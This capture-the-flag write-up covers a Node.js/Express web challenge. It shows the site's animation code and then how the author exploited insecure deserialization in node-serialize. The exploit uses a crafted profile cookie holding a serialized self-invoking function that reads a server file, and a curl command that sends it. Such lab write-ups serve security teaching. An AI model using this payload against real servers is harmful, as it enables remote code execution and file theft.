Challenge Description
Why do people take their cereal choices so seriously? Did you know that there are more types of coffee than just the JAVA one? More varieties have emerged on the .NET since 2016. Personally, I prefer EXPRESSo! URL: <Challenge URL> | Have You Found The Flag?
This challenge is based on a web application that presents the user with an animation upon arrival at the home page. It is not immediately clear what the purpose of the website is or what the user is supposed to do next. The animation in question is the following:

The animation is made by using an array of strings called phrases and a Javascript script to iterate over them. This can be seen inside the HTML source code:
<!-- NO NEED TO LOOK BELOW THIS!!! NOT THE CHALLENGE -->
<!DOCTYPE html>
<!-- https://codepen.io/umarcbs/pen/yLJNXLR -->
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>[0x5245636F6C6C61707365] - The Meet</title>
<link rel="stylesheet" href="./style.css" />
</head>
<body>
<script>
phrases = [
'Welcome',
'Severino',
'ØxOPOSɆC Presents',
'Can You Find the Flag?',
'Need Help? #ch4llenges',
'Find Our Community #oposec',
'&',
'[0x5245636F6C6C61707365] - The Meet',
'Thursday - 23/02/2023',
'Place: You Know Where!',
'Add to Your Calendar',
'&',
'Follow @oposec',
'Have You Found The Flag? Ping @zezadas'
]
if (typeof next === "function")next();
</script>
<!-- partial:index.partial.html -->
<div class="text-change-container">
<div class="text-change"></div>
</div>
<div class="text-change-container">
<div class="text-change"></div>
</div>
<!-- partial -->
<script src="./script.js"></script>
</body>
</html>
The scramble of the displayed characters is made with the help of the following Javascript:
class TextScramble {
constructor(el) {
this.el = el;
this.chars = '!<>-_\\/[]{}—=+*^?#________';
this.update = this.update.bind(this);
}
setText(newText) {
const oldText = this.el.innerText;
const length = Math.max(oldText.length, newText.length);
const promise = new Promise(resolve => this.resolve = resolve);
this.queue = [];
for (let i = 0; i < length; i++) {
const from = oldText[i] || '';
const to = newText[i] || '';
const start = Math.floor(Math.random() * 40);
const end = start + Math.floor(Math.random() * 40);
this.queue.push({ from, to, start, end });
}
cancelAnimationFrame(this.frameRequest);
this.frame = 0;
this.update();
return promise;
}
update() {
let output = '';
let complete = 0;
for (let i = 0, n = this.queue.length; i < n; i++) {
let { from, to, start, end, char } = this.queue[i];
if (this.frame >= end) {
complete++;
output += to;
} else if (this.frame >= start) {
if (!char || Math.random() < 0.28) {
char = this.randomChar();
this.queue[i].char = char;
}
output += `<span class="dud">${char}</span>`;
} else {
output += from;
}
}
this.el.innerHTML = output;
if (complete === this.queue.length) {
this.resolve();
} else {
this.frameRequest = requestAnimationFrame(this.update);
this.frame++;
}
}
randomChar() {
return this.chars[Math.floor(Math.random() * this.chars.length)];
}}
const el = document.querySelector('.text-change');
const fx = new TextScramble(el);
let counter = 0;
const next = () => {
fx.setText(phrases[counter]).then(() => {
setTimeout(next, 2000);
});
counter = (counter + 1) % phrases.length;
};
if (phrases !== undefined && phrases !== null) {
next();
}
By visiting the website, we are given a cookie. This cookie is generated on the server side and then given to us by the server:
Upon closer examination of the cookie provided by the server, we can see that the cookie contains what appears to be JSON data encoded in base64 and then URL encoded. With the help of Cyberchef, I used this recipe to get the following JSON data from the cookie:
{
"username": "Severino",
"country": "Portugal",
"city": "Porto"
}
We can see that our username being used is being retrieved from the cookie and that this is being serialized and deserialized on the server side. Additionally, the challenge description indicates that Express is being used, so nodejs is included. With this in mind, we can try to write a custom script to serialize a function that will enable us to retrieve the flag:
// Make username equals to a function to retrieve the flag
var y = {
username: (function() {
return require('fs').readFile('./flag.txt', 'utf8');
})
};
// Use serialize from nodejs
var serialize = require('node-serialize');
// Serialize the username
var serialized = serialize.serialize(y)
// Print the serialized username
console.log("Serialized: \n" + serialized);
By executing the script we are able to retrieve the following serialized username: {"username":"_$$ND_FUNC$$_function() {\n\t\treturn require('fs').readFileSync('./flag.txt', 'utf8');\n\t}()"}
After retrieving a serialized username we should encode it in a similar way to the cookie format so that we can pass it to the server, to do this will be using CyberChef again but with the following recipe this time.
By using CyberChef with the recipe we are able to retrieve the following cookie: eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpIHtcblx0XHRyZXR1cm4gcmVxdWlyZSgnZnMnKS5yZWFkRmlsZVN5bmMoJy4vZmxhZy50eHQnLCAndXRmOCcpO1xuXHR9KCkifQ%3D%3D
What remains now to do is simply pass the cookie while arriving at the web application. This will enable us to retrieve the flag that should be passed through the username field inside the HTML source code. We can do that by doing the following:
$ curl --silent --cookie "profile=eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpIHtcblx0XHRyZXR1cm4gcmVxdWlyZSgnZnMnKS5yZWFkRmlsZVN5bmMoJy4vZmxhZy50eHQnLCAndXRmOCcpO1xuXHR9KCkifQ%3D%3D" <Challenge URL> | grep -Eo 'flag\{.*\}'
flag{D3s3re4liz4ttion}
$